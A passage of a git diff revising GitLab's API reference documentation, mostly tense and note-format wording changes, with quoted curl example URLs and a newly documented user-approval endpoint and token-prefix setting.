| `maintenance_mode_message` | string | no | **(PREMIUM)** Message displayed when instance is in maintenance mode |
@@ -303,7 +308,7 @@ listed in the descriptions of the relevant settings.
| `max_pages_size` | integer | no | Maximum size of pages repositories in MB |
| `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE ONLY)** Maximum allowable lifetime for personal access tokens in days |
| `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. |
-| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins will be able to configure repository mirroring. |
+| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins can configure repository mirroring. |
| `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively |
| `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. |
| `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. |
@@ -315,23 +320,24 @@ listed in the descriptions of the relevant settings.
| `performance_bar_allowed_group_id` | string | no | (Deprecated: Use `performance_bar_allowed_group_path` instead) Path of the group that is allowed to toggle the performance bar. |
| `performance_bar_allowed_group_path` | string | no | Path of the group that is allowed to toggle the performance bar. |
| `performance_bar_enabled` | boolean | no | (Deprecated: Pass `performance_bar_allowed_group_path: nil` instead) Allow enabling the performance bar. |
+| `personal_access_token_prefix` | string | no | Prefix for all generated personal access tokens. |
| `plantuml_enabled` | boolean | no | (**If enabled, requires:** `plantuml_url`) Enable PlantUML integration. Default is `false`. |
| `plantuml_url` | string | required by: `plantuml_enabled` | The PlantUML instance URL for integration. |
| `polling_interval_multiplier` | decimal | no | Interval multiplier used by endpoints that perform polling. Set to `0` to disable polling. |
| `project_export_enabled` | boolean | no | Enable project export. |
| `prometheus_metrics_enabled` | boolean | no | Enable Prometheus metrics. |
| `protected_ci_variables` | boolean | no | Environment variables are protected by default. |
-| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory.
-| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events will be created. [Bulk push events will be created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. |
-| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services will be fired or not. Webhooks and services won't be submitted if it surpasses that value. |
+| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab runs a background job that produces pseudonymized CSVs of the GitLab database to upload to your configured object storage directory.
+| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events are created. [Bulk push events are created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. |
+| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services fire or not. Webhooks and services aren't submitted if it surpasses that value. |
| `raw_blob_request_limit` | integer | no | Max number of requests per minute for each raw path. Default: 300. To disable throttling set to 0.|
| `recaptcha_enabled` | boolean | no | (**If enabled, requires:** `recaptcha_private_key` and `recaptcha_site_key`) Enable reCAPTCHA. |
| `recaptcha_private_key` | string | required by: `recaptcha_enabled` | Private key for reCAPTCHA. |
| `recaptcha_site_key` | string | required by: `recaptcha_enabled` | Site key for reCAPTCHA. |
| `receive_max_input_size` | integer | no | Maximum push size (MB). |
-| `repository_checks_enabled` | boolean | no | GitLab will periodically run `git fsck` in all project and wiki repositories to look for silent disk corruption issues. |
+| `repository_checks_enabled` | boolean | no | GitLab periodically runs `git fsck` in all project and wiki repositories to look for silent disk corruption issues. |
| `repository_size_limit` | integer | no | **(PREMIUM)** Size limit per repository (MB) |
-| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-will-be-stored). New projects are created in one of these stores, chosen by a weighted random selection. |
+| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-are-stored). New projects are created in one of these stores, chosen by a weighted random selection. |
| `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. |
| `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/approving_users.md) by an administrator. |
| `require_two_factor_authentication` | boolean | no | (**If enabled, requires:** `two_factor_grace_period`) Require all users to set up Two-factor authentication. |
@@ -374,9 +380,9 @@ listed in the descriptions of the relevant settings.
| `two_factor_grace_period` | integer | required by: `require_two_factor_authentication` | Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication. |
| `unique_ips_limit_enabled` | boolean | no | (**If enabled, requires:** `unique_ips_limit_per_user` and `unique_ips_limit_time_window`) Limit sign in from multiple IPs. |
| `unique_ips_limit_per_user` | integer | required by: `unique_ips_limit_enabled` | Maximum number of IPs per user. |
-| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP will be counted towards the limit. |
-| `usage_ping_enabled` | boolean | no | Every week GitLab will report license usage back to GitLab, Inc. |
-| `user_default_external` | boolean | no | Newly registered users will be external by default. |
+| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP is counted towards the limit. |
+| `usage_ping_enabled` | boolean | no | Every week GitLab reports license usage back to GitLab, Inc. |
+| `user_default_external` | boolean | no | Newly registered users are external by default. |
| `user_default_internal_regex` | string | no | Specify an e-mail address regex pattern to identify default internal users. |
| `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. |
| `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the "You won't be able to pull or push project code via SSH" warning shown to users with no uploaded SSH key. |
diff --git a/doc/api/sidekiq_metrics.md b/doc/api/sidekiq_metrics.md
index 914f5fbf42a..2f018e67628 100644
--- a/doc/api/sidekiq_metrics.md
+++ b/doc/api/sidekiq_metrics.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Sidekiq Metrics API **(CORE ONLY)**
diff --git a/doc/api/snippets.md b/doc/api/snippets.md
index c2812de5dd7..670045df66d 100644
--- a/doc/api/snippets.md
+++ b/doc/api/snippets.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -189,7 +189,7 @@ Hello World snippet
Create a new snippet.
-NOTE: **Note:**
+NOTE:
The user must have permission to create new snippets.
```plaintext
@@ -272,7 +272,7 @@ Example response:
Update an existing snippet.
-NOTE: **Note:**
+NOTE:
The user must have permission to change an existing snippet.
```plaintext
@@ -451,7 +451,7 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12655) in GitLab 9.4.
-NOTE: **Note:**
+NOTE:
Available only for administrators.
```plaintext
diff --git a/doc/api/statistics.md b/doc/api/statistics.md
index 6a41a960eba..3899d5bde76 100644
--- a/doc/api/statistics.md
+++ b/doc/api/statistics.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Application statistics API
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
List the current statistics of the GitLab instance. You have to be an
administrator in order to perform this action.
-NOTE: **Note:**
+NOTE:
These statistics are approximate.
```plaintext
diff --git a/doc/api/suggestions.md b/doc/api/suggestions.md
index 10528fe33b9..9f878cd029a 100644
--- a/doc/api/suggestions.md
+++ b/doc/api/suggestions.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/system_hooks.md b/doc/api/system_hooks.md
index 00cd88c88dd..855436864cc 100644
--- a/doc/api/system_hooks.md
+++ b/doc/api/system_hooks.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# System hooks API
@@ -55,9 +55,9 @@ POST /hooks
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `url` | string | yes | The hook URL |
-| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
-| `push_events` | boolean | no | When true, the hook will fire on push events |
-| `tag_push_events` | boolean | no | When true, the hook will fire on new tags being pushed |
+| `token` | string | no | Secret token to validate received payloads; this isn't returned in the response |
+| `push_events` | boolean | no | When true, the hook fires on push events |
+| `tag_push_events` | boolean | no | When true, the hook fires on new tags being pushed |
| `merge_requests_events` | boolean | no | Trigger hook on merge requests events |
| `repository_update_events` | boolean | no | Trigger hook on repository update events |
| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
diff --git a/doc/api/tags.md b/doc/api/tags.md
index 8584de83357..126bc010022 100644
--- a/doc/api/tags.md
+++ b/doc/api/tags.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md
index fd0edfce8e5..a86dc36e141 100644
--- a/doc/api/templates/dockerfiles.md
+++ b/doc/api/templates/dockerfiles.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -20,7 +20,7 @@ GET /templates/dockerfiles
```
```shell
-curl https://gitlab.example.com/api/v4/templates/dockerfiles
+curl "https://gitlab.example.com/api/v4/templates/dockerfiles"
```
Example response:
@@ -119,7 +119,7 @@ GET /templates/dockerfiles/:key
| `key` | string | yes | The key of the Dockerfile template |
```shell
-curl https://gitlab.example.com/api/v4/templates/dockerfiles/Binary
+curl "https://gitlab.example.com/api/v4/templates/dockerfiles/Binary"
```
Example response:
diff --git a/doc/api/templates/gitignores.md b/doc/api/templates/gitignores.md
index b957c582755..6f2e5a83903 100644
--- a/doc/api/templates/gitignores.md
+++ b/doc/api/templates/gitignores.md
@@ -1,19 +1,18 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# .gitignore API
-In GitLab, there is an API endpoint available for `.gitignore`. For more
-information on `gitignore`, see the
-[Git documentation](https://git-scm.com/docs/gitignore).
+In GitLab, the `/gitignores` endpoint returns a list of Git `.gitignore` templates. For more information,
+see the [Git documentation for `.gitignore`](https://git-scm.com/docs/gitignore).
-## List `.gitignore` templates
+## Get all `.gitignore` templates
-Get all `.gitignore` templates.
+Get a list of all `.gitignore` templates:
```plaintext
GET /templates/gitignores
@@ -22,7 +21,7 @@ GET /templates/gitignores
Example request:
```shell
-curl https://gitlab.example.com/api/v4/templates/gitignores
+curl "https://gitlab.example.com/api/v4/templates/gitignores"
```
Example response:
@@ -112,9 +111,9 @@ Example response:
]
```
-## Single `.gitignore` template
+## Get a single `.gitignore` template
-Get a single `.gitignore` template.
+Get a single `.gitignore` template:
```plaintext
GET /templates/gitignores/:key
@@ -127,7 +126,7 @@ GET /templates/gitignores/:key
Example request:
```shell
-curl https://gitlab.example.com/api/v4/templates/gitignores/Ruby
+curl "https://gitlab.example.com/api/v4/templates/gitignores/Ruby"
```
Example response:
diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md
index 45bc0f55095..8f78c600392 100644
--- a/doc/api/templates/gitlab_ci_ymls.md
+++ b/doc/api/templates/gitlab_ci_ymls.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/api/templates/licenses.md b/doc/api/templates/licenses.md
index d1044b23306..fb76bd81e50 100644
--- a/doc/api/templates/licenses.md
+++ b/doc/api/templates/licenses.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -25,7 +25,7 @@ GET /templates/licenses
| `popular` | boolean | no | If passed, returns only popular licenses |
```shell
-curl https://gitlab.example.com/api/v4/templates/licenses?popular=1
+curl "https://gitlab.example.com/api/v4/templates/licenses?popular=1"
```
Example response:
@@ -123,12 +123,12 @@ GET /templates/licenses/:key
| `project` | string | no | The copyrighted project name |
| `fullname` | string | no | The full-name of the copyright holder |
-NOTE: **Note:**
+NOTE:
If you omit the `fullname` parameter but authenticate your request, the name of
-the authenticated user will be used to replace the copyright holder placeholder.
+the authenticated user replaces the copyright holder placeholder.
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/templates/licenses/mit?project=My+Cool+Project
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/templates/licenses/mit?project=My+Cool+Project"
```
Example response:
diff --git a/doc/api/todos.md b/doc/api/todos.md
index 06b99ab8c53..203d1bc6f03 100644
--- a/doc/api/todos.md
+++ b/doc/api/todos.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# To dos API
diff --git a/doc/api/users.md b/doc/api/users.md
index e1fa97765df..f73e1829024 100644
--- a/doc/api/users.md
+++ b/doc/api/users.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Users API
@@ -54,7 +54,7 @@ GET /users?username=jack_smith
```
In addition, you can filter users based on the states `blocked` and `active`.
-It does not support `active=false` or `blocked=false`. The list of active users
+It does not support `active=false` or `blocked=false`. The list of billable users
is the total number of users minus the blocked users.
```plaintext
@@ -65,7 +65,7 @@ GET /users?active=true
GET /users?blocked=true
```
-GitLab supports bot users such as the [alert bot](../operations/incident_management/generic_alerts.md)
+GitLab supports bot users such as the [alert bot](../operations/incident_management/alert_integrations.md)
or the [support bot](../user/project/service_desk.md#support-bot-user).
To exclude these users from the users' list, you can use the parameter `exclude_internal=true`
([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241144) in GitLab 13.4).
@@ -74,7 +74,7 @@ To exclude these users from the users' list, you can use the parameter `exclude_
GET /users?exclude_internal=true
```
-NOTE: **Note:**
+NOTE:
Username search is case insensitive.
### For admins
@@ -170,7 +170,7 @@ GET /users
]
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters.
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, `extra_shared_runners_minutes_limit`, and `using_license_seat` parameters.
```json
[
@@ -179,12 +179,13 @@ Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/)
...
"shared_runners_minutes_limit": 133,
"extra_shared_runners_minutes_limit": 133,
+ "using_license_seat": true
...
}
]
```
-Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) also see
the `group_saml` provider option:
```json
@@ -332,10 +333,10 @@ Example Responses:
}
```
-NOTE: **Note:**
+NOTE:
The `plan` and `trial` parameters are only available on GitLab Enterprise Edition.
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see
the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters.
```json
@@ -348,7 +349,7 @@ the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` par
}
```
-Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) will also
+Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) also
see the `group_saml` option:
```json
@@ -384,11 +385,11 @@ Note that `force_random_password` and `reset_password` take priority
over `password`. In addition, `reset_password` and
`force_random_password` can be used together.
-NOTE: **Note:**
-From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` will default to `false`.
+NOTE:
+From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` defaults to `false`.
-NOTE: **Note:**
-From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` will default to `""` instead of `null`.
+NOTE:
+From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` defaults to `""` instead of `null`.
```plaintext
POST /users
@@ -415,7 +416,7 @@ Parameters:
| `note` | No | Admin notes for this user |
| `organization` | No | Organization name |
| `password` | No | Password |
-| `private_profile` | No | User's profile is private - true, false (default), or null (will be converted to false) |
+| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) |
| `projects_limit` | No | Number of projects user can create |
| `provider` | No | External provider name |
| `public_email` | No | The public email of the user |
@@ -457,7 +458,7 @@ Parameters:
| `note` | No | Admin notes for this user |
| `organization` | No | Organization name |
| `password` | No | Password |
-| `private_profile` | No | User's profile is private - true, false (default), or null (will be converted to false) |
+| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) |
| `projects_limit` | No | Limit projects each user can create |
| `provider` | No | External provider name |
| `public_email` | No | The public email of the user |
@@ -469,7 +470,7 @@ Parameters:
| `username` | No | Username |
| `website_url` | No | Website URL |
-On password update, user will be forced to change it upon next login.
+On password update, the user is forced to change it upon next login.
Note, at the moment this method does only return a `404` error,
even in cases where a `409` (Conflict) would be more appropriate.
For example, when renaming the email address to some existing one.
@@ -501,7 +502,7 @@ Parameters:
- `id` (required) - The ID of the user
- `hard_delete` (optional) - If true, contributions that would usually be
[moved to the ghost user](../user/profile/account/delete_account.md#associated-records)
- will be deleted instead, as well as groups owned solely by this user.
+ are deleted instead, as well as groups owned solely by this user.
## List current user (for normal users)
@@ -664,7 +665,7 @@ PUT /user/status
| `emoji` | string | no | The name of the emoji to use as status. If omitted `speech_balloon` is used. Emoji name can be one of the specified names in the [Gemojione index](https://github.com/bonusly/gemojione/blob/master/config/index.json). |
| `message` | string | no | The message to set as a status. It can also contain emoji codes. |
-When both parameters `emoji` and `message` are empty, the status will be cleared.
+When both parameters `emoji` and `message` are empty, the status is cleared.
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status"
@@ -792,7 +793,7 @@ Parameters:
}
```
-Will return created key with status `201 Created` on success. If an
+Returns a created key with status `201 Created` on success. If an
error occurs a `400 Bad Request` is returned with a message explaining the error:
```json
@@ -823,7 +824,7 @@ Parameters:
- `key` (required) - new SSH key
- `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`)
-NOTE: **Note:**
+NOTE:
This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events). **(PREMIUM)**
## Delete SSH key for current user
@@ -1068,7 +1069,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
Get a list of currently authenticated user's emails.
-NOTE: **Note:**
+NOTE:
Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently
does not return the primary email address.
@@ -1097,7 +1098,7 @@ Parameters:
Get a list of a specified user's emails. Available only for admin
-NOTE: **Note:**
+NOTE:
Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently
does not return the primary email address.
@@ -1147,7 +1148,7 @@ Parameters:
}
```
-Will return created email with status `201 Created` on success. If an
+Returns a created email with status `201 Created` on success. If an
error occurs a `400 Bad Request` is returned with a message explaining the error:
```json
@@ -1232,7 +1233,7 @@ Parameters:
- `id` (required) - ID of specified user
-Will return `201 OK` on success, `404 User Not Found` is user cannot be found or
+Returns `201 OK` on success, `404 User Not Found` is user cannot be found or
`403 Forbidden` when trying to unblock a user blocked by LDAP synchronization.
## Deactivate user
@@ -1275,8 +1276,8 @@ Parameters:
Returns:
- `201 OK` on success.
-- `404 User Not Found` if user cannot be found.
-- `403 Forbidden` when trying to activate a user blocked by admin or by LDAP synchronization.
+- `404 User Not Found` if the user cannot be found.
+- `403 Forbidden` if the user cannot be activated because they are blocked by an administrator or by LDAP synchronization.
### Get user contribution events
@@ -1337,6 +1338,44 @@ Example response:
]
```
+## Approve user
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263107) in GitLab 13.7.
+
+Approves the specified user. Available only for administrators.
+
+```plaintext
+POST /users/:id/approve
+```
+
+Parameters:
+
+- `id` (required) - ID of specified user
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/42/approve"
+```
+
+Returns:
+
+- `201 OK` on success.
+- `404 User Not Found` if user cannot be found.
+- `403 Forbidden` if the user cannot be approved because they are blocked by an administrator or by LDAP synchronization.
+
+Example Responses:
+
+```json
+{ "message": "Success" }
+```
+
+```json
+{ "message": "404 User Not Found" }
+```
+
+```json
+{ "message": "The user you are trying to approve is not pending an approval" }
+```
+
## Get an impersonation token of a user
> Requires admin permissions.
@@ -1379,11 +1418,11 @@ Example response:
## Create an impersonation token
> Requires admin permissions.
-> Token values are returned once. Make sure you save it - you won't be able to access it again.
+> Token values are returned once. Make sure you save it - you can't access it again.
It creates a new impersonation token. Note that only administrators can do this.
You are only able to create impersonation tokens to impersonate the user and perform
-both API calls and Git reads and writes. The user will not see these tokens in their profile
+both API calls and Git reads and writes. The user can't see these tokens in their profile
settings page.
```plaintext
@@ -1447,11 +1486,11 @@ Parameters:
> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-an-administrators-ability-to-use-the-api-to-create-personal-access-tokens). **(CORE)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
> Requires admin permissions.
-> Token values are returned once. Make sure you save it - you won't be able to access it again.
+> Token values are returned once. Make sure you save it - you can't access it again.
It creates a new personal access token.
@@ -1490,7 +1529,7 @@ Example response:
## Get user activities (admin only)
-NOTE: **Note:**
+NOTE:
This API endpoint is only available on 8.15 (EE) and 9.1 (CE) and above.
Get the last activity date for all users, sorted from oldest to newest.
diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md
index 2dd4376413b..00e70d34db6 100644
--- a/doc/api/v3_to_v4.md
+++ b/doc/api/v3_to_v4.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# API V3 to API V4
diff --git a/doc/api/version.md b/doc/api/version.md
index d1582cf63cd..83b05dff1c8 100644
--- a/doc/api/version.md
+++ b/doc/api/version.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Version API
diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md
index 7e741688949..67d9c523862 100644
--- a/doc/api/visual_review_discussions.md
+++ b/doc/api/visual_review_discussions.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, api
---
diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md
index f89f2bda2eb..8296292c1f8 100644
--- a/doc/api/vulnerabilities.md
+++ b/doc/api/vulnerabilities.md
@@ -1,20 +1,20 @@
---
stage: Secure
group: Threat Insights
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vulnerabilities API **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
-NOTE: **Note:**
+NOTE:
The former Vulnerabilities API was renamed to Vulnerability Findings API
and its documentation was moved to [a different location](vulnerability_findings.md).
This document now describes the new Vulnerabilities API that provides access to
[Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634).
-CAUTION: **Caution:**
+WARNING:
This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
@@ -23,7 +23,7 @@ Every API call to vulnerabilities must be [authenticated](README.md#authenticati
Vulnerability permissions inherit permissions from their project. If a project is
private, and a user isn't a member of the project to which the vulnerability
-belongs, requests to that project will return a `404 Not Found` status code.
+belongs, requests to that project returns a `404 Not Found` status code.
## Single vulnerability
@@ -77,7 +77,7 @@ Confirms a given vulnerability. Returns status code `304` if the vulnerability i
If an authenticated user does not have permission to
[confirm vulnerabilities](../user/permissions.md#project-members-permissions),
-this request will result in a `403` status code.
+this request results in a `403` status code.
```plaintext
POST /vulnerabilities/:id/confirm
@@ -127,7 +127,7 @@ Resolves a given vulnerability. Returns status code `304` if the vulnerability i
If an authenticated user does not have permission to
[resolve vulnerabilities](../user/permissions.md#project-members-permissions),
-this request will result in a `403` status code.
+this request results in a `403` status code.
```plaintext
POST /vulnerabilities/:id/resolve
@@ -177,7 +177,7 @@ Dismisses a given vulnerability. Returns status code `304` if the vulnerability
If an authenticated user does not have permission to
[dismiss vulnerabilities](../user/permissions.md#project-members-permissions),
-this request will result in a `403` status code.
+this request results in a `403` status code.
```plaintext
POST /vulnerabilities/:id/dismiss
@@ -227,7 +227,7 @@ Reverts a given vulnerability to detected state. Returns status code `304` if th
If an authenticated user does not have permission to
[revert vulnerability to detected state](../user/permissions.md#project-members-permissions),
-this request will result in a `403` status code.
+this request results in a `403` status code.
```plaintext
POST /vulnerabilities/:id/revert
diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md
index 0ee8a18a46a..e4853920cab 100644
--- a/doc/api/vulnerability_exports.md
+++ b/doc/api/vulnerability_exports.md
@@ -1,14 +1,14 @@
---
stage: Secure
group: Threat Insights
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vulnerability export API **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/197494) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. [Updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30397) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0.
-CAUTION: **Caution:**
